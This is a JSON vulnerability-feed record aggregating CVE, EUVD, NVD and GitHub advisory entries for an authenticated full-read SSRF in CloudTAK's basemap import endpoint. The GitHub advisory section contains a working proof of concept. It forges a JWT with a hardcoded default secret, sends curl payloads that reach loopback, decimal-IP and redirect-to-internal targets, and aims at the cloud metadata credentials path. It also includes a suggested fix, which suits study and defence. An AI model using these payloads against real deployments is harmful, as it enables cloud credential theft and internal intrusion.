{"id":"EUVD-2026-82331","revision":null,"records":[{"revision":"942f168fe7fd4916a5c60d31bea30562","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54546","aliases":[],"title":"CloudTAK: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard","description":"CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/routes/basemap.ts to fetch(url) without resolved-address classification or redirect revalidation. BasemapProtocol.isValidURL in api/lib/interface-basemap.ts checks only the HTTP or HTTPS scheme and is not applied on the vulnerable import path. Direct internal addresses, alternate IP encodings, and redirects to internal addresses can reach cloud metadata, loopback, private, and CGNAT HTTP services. The OptionalTileJSON response reflects fields including name, attribution, and tiles[0] to the caller, making the request forgery full-read rather than blind and enabling cloud credential theft and internal service disclosure. This issue is fixed in version 13.22.1.","state":0,"publishedAt":"2026-09-17T17:02:04.213+00:00","modifiedAt":"2026-09-17T17:42:43.845+00:00","affected":[{"ecosystem":"Vendor product","name":"CloudTAK","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dfpc-coe\",\n                    \"product\": \"CloudTAK\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 13.22.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","score":5,"severity":"MEDIUM"}],"references":["https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v","https://github.com/dfpc-coe/CloudTAK/pull/1513","https://github.com/dfpc-coe/CloudTAK/commit/1e0f6e65977c86fbc0aa15e308c43cbcaee23a7c","https://github.com/dfpc-coe/CloudTAK/commit/556b35632877802c7e9c818db44aef7a2c3abebf","https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.22.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54546","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54546","identifiers":["CVE-2026-54546"]},"retained":false,"historicalAffected":[]},{"revision":"c7ce366aeed64d11a444034542199086","observedAt":"2026-11-11T14:00:38.494+00:00","statement":{"source":"euvd","id":"EUVD-2026-82331","aliases":["CVE-2026-54546","GHSA-vqrw-qphh-p34v"],"title":"CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/route…","description":"CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/routes/basemap.ts to fetch(url) without resolved-address classification or redirect revalidation. BasemapProtocol.isValidURL in api/lib/interface-basemap.ts checks only the HTTP or HTTPS scheme and is not applied on the vulnerable import path. Direct internal addresses, alternate IP encodings, and redirects to internal addresses can reach cloud metadata, loopback, private, and CGNAT HTTP services. The OptionalTileJSON response reflects fields including name, attribution, and tiles[0] to the caller, making the request forgery full-read rather than blind and enabling cloud credential theft and internal service disclosure. This issue is fixed in version 13.22.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","score":5,"severity":null}],"references":["https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v","https://github.com/dfpc-coe/CloudTAK/pull/1513","https://github.com/dfpc-coe/CloudTAK/commit/1e0f6e65977c86fbc0aa15e308c43cbcaee23a7c","https://github.com/dfpc-coe/CloudTAK/commit/556b35632877802c7e9c818db44aef7a2c3abebf","https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.22.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-82331","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 5:02:04 PM","dateUpdated":"Sep 17, 2026, 5:42:43 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-82331","identifiers":["EUVD-2026-82331","CVE-2026-54546","GHSA-vqrw-qphh-p34v"]},"retained":false,"historicalAffected":[]},{"revision":"ecc2147274d949e8b62fec44a55faec8","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54546","aliases":[],"title":"CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/route…","description":"CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/routes/basemap.ts to fetch(url) without resolved-address classification or redirect revalidation. BasemapProtocol.isValidURL in api/lib/interface-basemap.ts checks only the HTTP or HTTPS scheme and is not applied on the vulnerable import path. Direct internal addresses, alternate IP encodings, and redirects to internal addresses can reach cloud metadata, loopback, private, and CGNAT HTTP services. The OptionalTileJSON response reflects fields including name, attribution, and tiles[0] to the caller, making the request forgery full-read rather than blind and enabling cloud credential theft and internal service disclosure. This issue is fixed in version 13.22.1.","state":0,"publishedAt":"2026-09-17T18:16:46.207+00:00","modifiedAt":"2026-09-30T17:43:24.057+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","score":5,"severity":"MEDIUM"}],"references":["https://github.com/dfpc-coe/CloudTAK/commit/1e0f6e65977c86fbc0aa15e308c43cbcaee23a7c","https://github.com/dfpc-coe/CloudTAK/commit/556b35632877802c7e9c818db44aef7a2c3abebf","https://github.com/dfpc-coe/CloudTAK/pull/1513","https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.22.1","https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54546","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T18:16:46.207","lastModified":"2026-09-30T17:43:24.057"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54546","identifiers":["CVE-2026-54546"]},"retained":false,"historicalAffected":[]},{"revision":"53aeb4dda8ee477e8f86d4858e95ce46","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vqrw-qphh-p34v","aliases":["CVE-2026-54546"],"title":"TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard","description":"### Summary\n\n`PUT /api/basemap` (the basemap import endpoint) fetches an attacker-supplied URL server-side with **no SSRF protection whatsoever**. Any authenticated user can submit a JSON body `{ \"type\": \"...\", \"url\": \"<attacker url>\" }`; the server calls `fetch(url)` against that URL and then reflects the response body (`name`, `attribution`, `tiles[0]`, zoom levels) back to the caller in the `OptionalTileJSON` response.\n\nBecause there is no IP-address classification, internal-only services are reachable: cloud metadata (`http://169.254.169.254/...`), loopback (`http://127.0.0.1/...`), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a **full-read SSRF** (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.\n\nThe only URL check in the basemap protocol layer (`BasemapProtocol.isValidURL`, `api/lib/interface-basemap.ts`) validates the scheme is `http`/`https` only and performs **no host/IP filtering** — and the import path does not even call it; it goes straight from `new URL(rawURL)` to `fetch(url)`.\n\nThree independent bypass classes were confirmed end-to-end against a real deployed build:\n1. Direct internal/loopback IP literals.\n2. Alternate IP encodings (e.g. decimal `http://2130706433/` = `127.0.0.1`).\n3. Redirect following — `fetch` uses the default `redirect: 'follow'`, so even a public initial host that 302-redirects to an internal address is followed with no re-validation.\n\n### Vulnerable code (file:line)\n\n`api/routes/basemap.ts` — `importBasemapURL()` and the `PUT /basemap` handler (line numbers at commit `90d43bdd2fb7d9bd57cbce28c709d9e5207a475a`):\n\nhttps://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136\n\n```ts\n// api/routes/basemap.ts\nasync function importBasemapURL(\n    config: Config,\n    rawURL: string,\n    auth?: Static<typeof BasemapImportAuth>,\n): Promise<Static<typeof OptionalTileJSON>> {\n    const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };\n\n    let url: URL;\n    try {\n        url = new URL(rawURL);            // (1) only well-formedness is checked\n    } catch (err) {\n        throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');\n    }\n\n    if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }\n\n    const tjres = await fetch(url);        // (2) SSRF sink — no host/IP guard, default redirect:follow\n    if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');\n\n    const tjbody = await tjres.json() as Record<string, any>;\n    if (tjbody.name) imported.name = tjbody.name;               // (3) internal response reflected to caller\n    if (tjbody.attribution) imported.attribution = tjbody.attribution;\n    if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {\n        imported.url = tjbody.tiles[0]...;\n    }\n    return imported;\n}\n```\n\nThe handler at `api/routes/basemap.ts` L139–L233 mounts this as `PUT /api/basemap` and gates it only with `Auth.is_auth(config, req)` (L157), i.e. **any authenticated user** with `application/json` body `{ type, url }` reaches `importBasemapURL((req.body).url, (req.body).auth)`.\n\n`BasemapProtocol.isValidURL` at `api/lib/interface-basemap.ts` L136 — the only \"validation\" in the protocol layer — checks the scheme only and performs no IP filtering:\n\nhttps://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148\n\n### How input reaches the sink\n\n1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.\n2. Attacker sends `PUT /api/basemap` with `Content-Type: application/json` and body `{ \"type\": \"...\", \"url\": \"<attacker url>\" }`.\n3. Handler `api/routes/basemap.ts` L155–L233 calls `Auth.is_auth(config, req)` (L157, any authenticated user passes) then `importBasemapURL(config, (req.body).url, (req.body).auth)` (L233).\n4. `importBasemapURL` (L68) does `new URL(rawURL)` (L79) and, for non-ESRI URLs, reaches `const tjres = await fetch(url)` (L99) — the SSRF sink. No host/IP classification occurs anywhere on this path; `fetch` uses the default `redirect: 'follow'`.\n5. The response JSON is parsed (L104) and `name` / `attribution` / `tiles[0]` are copied into the response object (L106–L117) and returned to the attacker — closing the read loop.\n\n### Impact\n\nServer-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:\n\n- Read the cloud instance metadata endpoint (`http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>`) and exfiltrate temporary IAM credentials.\n- Reach and read internal-only HTTP services (databases' HTTP UIs, admin panels, other microservices) not exposed to the internet.\n- Enumerate internal hosts/ports via response/timing differences.\n\nBecause the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.\n\n### Proof of concept\n\nEnd-to-end reproduction against a **real deployed CloudTAK API server** (not a unit harness). An internal-only sentinel HTTP service is bound to `127.0.0.1:9000` (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.\n\n1) Pinned install / build (v13.5.0, commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`):\n\n```bash\ngit clone https://github.com/dfpc-coe/CloudTAK.git\ncd CloudTAK && git checkout v13.5.0\ncd api && npm ci\n# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)\n```\n\n2) Deploy the real API server (test stack: SigningSecret defaults to the hardcoded `coe-wildland-fire`, migrations auto-apply, a default server row is auto-generated):\n\n```bash\ncd api\nStackName=test \\\nSigningSecret=coe-wildland-fire \\\nPOSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \\\nAPI_URL='http://localhost:5001' \\\nnpx tsx index.ts --noevents --nosinks --nogeofence\n# => \"ok - http://localhost:5001\"\n```\n\n3) Internal-only sentinel (`internal_sentinel.js`) — simulates an internal HTTP service / metadata endpoint, bound to loopback only:\n\n```js\nconst http = require('http');\nconst fs = require('fs');\nconst srv = http.createServer((req, res) => {\n  fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',\n    `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\\n`);\n  res.setHeader('Content-Type', 'application/json');\n  res.end(JSON.stringify({\n    name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',\n    attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',\n    tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],\n    minzoom: 0, maxzoom: 19\n  }));\n});\nsrv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));\n```\n\n```bash\nnode internal_sentinel.js &\n# A redirector for the redirect-follow variant, also loopback-only:\nnode -e \"require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')\" &\n```\n\n4) Attacker driver — mint a normal user JWT (signed with the deployed `SigningSecret`) and issue the three requests:\n\n```bash\nTOK=$(node -e \"console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))\")\n\n# (a) loopback / metadata-style path\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"type\":\"raster\",\"url\":\"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/\"}'\n\n# (b) decimal-IP encoding of 127.0.0.1\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"type\":\"raster\",\"url\":\"http://2130706433:9000/decimal-ip-bypass\"}'\n\n# (c) public-looking host that 302-redirects to internal (redirect:follow)\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"type\":\"raster\",\"url\":\"http://127.0.0.1:9100/start\"}'\n```\n\n5) Captured output — all three return the internal sentinel's secret body to the attacker, and the loopback-only sentinel records the server-side hits:\n\n```\n# HTTP response body returned to the attacker for (a), (b) and (c):\n{\"type\":\"raster\",\"name\":\"INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c\",\n \"attribution\":\"leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e\",\n \"maxzoom\":19,\"minzoom\":0,\"url\":\"http://127.0.0.1:9000/internal/{$z}/{$x}/{$y}.png\",\"format\":\"png\"}\n\n# /tmp/ssrf_sentinel_hits.log (sentinel is bound to 127.0.0.1 only):\n[HIT 2026-06-03T05:01:13.606Z] GET /latest/meta-data/iam/security-credentials/ from=127.0.0.1\n[HIT 2026-06-03T05:01:29.099Z] GET /decimal-ip-bypass from=127.0.0.1\n[HIT 2026-06-03T05:01:30.151Z] GET /via-302-redirect from=127.0.0.1\n```\n\nThe `name` and `attribution` values returned to the attacker are read verbatim from the internal service's HTTP response, demonstrating full-read SSRF. In a real cloud deployment the equivalent request `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>` returns instance-role credentials.\n\n6) Negative control — a public host is fetched normally (the endpoint is not globally broken); only the *reachability* of internal addresses is the defect.\n\n### End-to-end reproduction (against pinned version)\n\nAll of the above was executed against a real deployed CloudTAK API server built from tag `v13.5.0` (commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`), booted with `StackName=test` against a PostGIS-enabled Postgres so migrations and routes load unmodified. The vulnerable build returned the internal sentinel's secret body (`INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c`, `leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e`) for all three bypass variants, and the loopback-only sentinel recorded the three server-side hits shown above.\n\nAfter applying the fix below to the same deployed build and restarting, the exact same three attacker requests instead return:\n\n```\n{\"status\":403,\"message\":\"URL resolves to a disallowed (internal) address\",\"messages\":[]}\n```\n\nand the sentinel log records **no** new hits, while `https://example.com/tile.json` continues to be fetched (returns `400 \"Unable to fetch TileJSON\"` — it reached the public host, the body just is not valid TileJSON). An `isBlockedIP` unit check passes 14/14: `169.254.169.254`, `127.0.0.1`, `10/8`, `172.16/12`, `192.168/16`, `100.64/10`, `::1`, `::ffff:127.0.0.1`, `fd00::/8`, `fe80::/10`, `64:ff9b::/96` all blocked; `8.8.8.8`, `1.1.1.1`, `93.184.216.34` all allowed.\n\n### Suggested fix\n\nAdd an SSRF guard that (1) resolves the target hostname via DNS and rejects the request if **any** resolved address falls in a loopback / private / link-local (incl. `169.254.0.0/16` cloud metadata) / CGNAT / IPv6-ULA / IPv4-mapped / NAT64 range, and (2) follows redirects manually, re-validating the `Location` of every hop so a 302 to an internal address cannot bypass the check. Apply it to the import sink at `api/routes/basemap.ts` (the `fetch(url)` call) and to the ESRI/metadata fetch paths in the same file.\n\nA self-contained `safeFetch(url)` helper (DNS resolution + per-hop re-validation) replacing the bare `fetch(url)` is sufficient; the same helper should back the other user-URL fetches in the basemap routes. A fix PR implementing exactly this guard is provided.\n\nNote: a literal-string/prefix host blocklist (e.g. matching `127.`, `10.`, `192.168.`) is **not** sufficient — it is bypassed by alternate IP encodings, IPv6-mapped forms, and DNS-rebinding hostnames. The guard must classify the **resolved** numeric address.\n\n### Severity\n\nHigh. Pre-conditions: a single authenticated CloudTAK user account (any role). Impact: server-side full-read access to internal-only HTTP services and the cloud metadata endpoint from the API server's network position, enabling theft of instance credentials and internal reconnaissance. No additional privileges or victim interaction required.\n\n### Fix PR link\n\nA fix PR implementing the DNS-resolving, redirect-re-validating `safeFetch` guard described above is provided to the maintainers via the private temporary fork associated with this advisory. The full guard source is also inlined under the Suggested fix section's reasoning above; the patch adds `api/lib/ssrf-guard.ts` and replaces the bare `fetch(url)` at `api/routes/basemap.ts` with `safeFetch(url)`.\n\n### Credits\n\nReported by tonghuaroot.","state":0,"publishedAt":"2026-07-17T19:02:37+00:00","modifiedAt":"2026-09-17T17:15:04.6465909+00:00","affected":[{"ecosystem":"npm","name":"@tak-ps/cloudtak","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"13.22.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v","https://github.com/dfpc-coe/CloudTAK/pull/1513","https://github.com/dfpc-coe/CloudTAK/commit/1e0f6e65977c86fbc0aa15e308c43cbcaee23a7c","https://github.com/dfpc-coe/CloudTAK/commit/556b35632877802c7e9c818db44aef7a2c3abebf","https://github.com/dfpc-coe/CloudTAK","https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.22.1"],"sourceUrl":"https://github.com/advisories/GHSA-vqrw-qphh-p34v","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vqrw-qphh-p34v","identifiers":["GHSA-vqrw-qphh-p34v","CVE-2026-54546"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}